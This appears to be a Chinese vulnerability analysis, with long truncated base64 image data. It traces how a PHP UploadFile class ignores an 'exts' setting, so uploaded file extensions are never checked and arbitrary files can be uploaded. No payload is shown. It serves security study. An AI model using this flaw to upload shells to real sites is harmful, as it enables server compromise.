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 truncated
<p>所以调用的接口如下</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191143-d2ef5f40-d497-1.png title><img src="data:image/png;base64,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 truncated
<p>实例化了一个<code>UploadFile()</code>​对象然后给他的属性赋值</p>
<p>重点关注以下代码</p>
<div class=highlight><pre><span></span><span class=x>$upload-&gt;exts = array('jpg', 'gif', 'png', 'jpeg'); // 设置附件上传类型</span>
</pre></div>
<p>发现这里会调用<code>UploadFile()</code>​的魔术方法 跟进</p>
<div class=highlight><pre><span></span><span class=x>public function __set($name,$value){</span>
<span class=x> if(isset($this-&gt;config[$name])) {</span>
<span class=x> $this-&gt;config[$name] = $value;</span>
<span class=x> }</span>
<span class=x> }</span>
</pre></div>
<p>这里其实就是问题的本身,要是传进来的在config里头不存在则返回空,那么我们去看一下config的设置</p>
<div class=highlight><pre><span></span><span class=x>private $config = array(</span>
<span class=x> 'maxSize' =&gt; -1, // 上传文件的最大值</span>
<span class=x> 'supportMulti' =&gt; true, // 是否支持多文件上传</span>
<span class=x> 'allowExts' =&gt; array(), // 允许上传的文件后缀 留空不作后缀检查</span>
<span class=x> 'allowTypes' =&gt; array(), // 允许上传的文件类型 留空不做检查</span>
<span class=x> 'thumb' =&gt; false, // 使用对上传图片进行缩略图处理</span>
<span class=x> 'imageClassPath' =&gt; 'ORG.Util.Image', // 图库类包路径</span>
<span class=x> 'thumbMaxWidth' =&gt; '',// 缩略图最大宽度</span>
<span class=x> 'thumbMaxHeight' =&gt; '',// 缩略图最大高度</span>
<span class=x> 'thumbPrefix' =&gt; 'thumb_',// 缩略图前缀</span>
<span class=x> 'thumbSuffix' =&gt; '',</span>
<span class=x> 'thumbPath' =&gt; '',// 缩略图保存路径</span>
<span class=x> 'thumbFile' =&gt; '',// 缩略图文件名</span>
<span class=x> 'thumbExt' =&gt; '',// 缩略图扩展名 </span>
<span class=x> 'thumbRemoveOrigin' =&gt; false,// 是否移除原图</span>
<span class=x> 'thumbType' =&gt; 0, // 缩略图生成方式 1 按设置大小截取 0 按原图等比例缩略</span>
<span class=x> 'zipImages' =&gt; false,// 压缩图片文件上传</span>
<span class=x> 'autoSub' =&gt; false,// 启用子目录保存文件</span>
<span class=x> 'subType' =&gt; 'hash',// 子目录创建方式 可以使用hash date custom</span>
<span class=x> 'subDir' =&gt; '', // 子目录名称 subType为custom方式后有效</span>
<span class=x> 'dateFormat' =&gt; 'Ymd',</span>
<span class=x> 'hashLevel' =&gt; 1, // hash的目录层次</span>
<span class=x> 'savePath' =&gt; '',// 上传文件保存路径</span>
<span class=x> 'autoCheck' =&gt; true, // 是否自动检查附件</span>
<span class=x> 'uploadReplace' =&gt; false,// 存在同名是否覆盖</span>
<span class=x> 'saveRule' =&gt; 'uniqid',// 上传文件命名规则</span>
<span class=x> 'hashType' =&gt; 'md5_file',// 上传文件Hash规则函数名</span>
<span class=x> );</span>
</pre></div>
<p>emmm根本没有 <code>exts</code>​ 所以说后缀根本没有检测,可以从从调用的upload中查看</p>
<p>断到一个叫自动检查附件</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191156-dab1b4ee-d497-1.png><img src="data:image/png;base64,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 truncated
<p>步进一下进入check函数存在检查文件类型</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191204-deee5800-d497-1.png title><img src="data:image/png;base64,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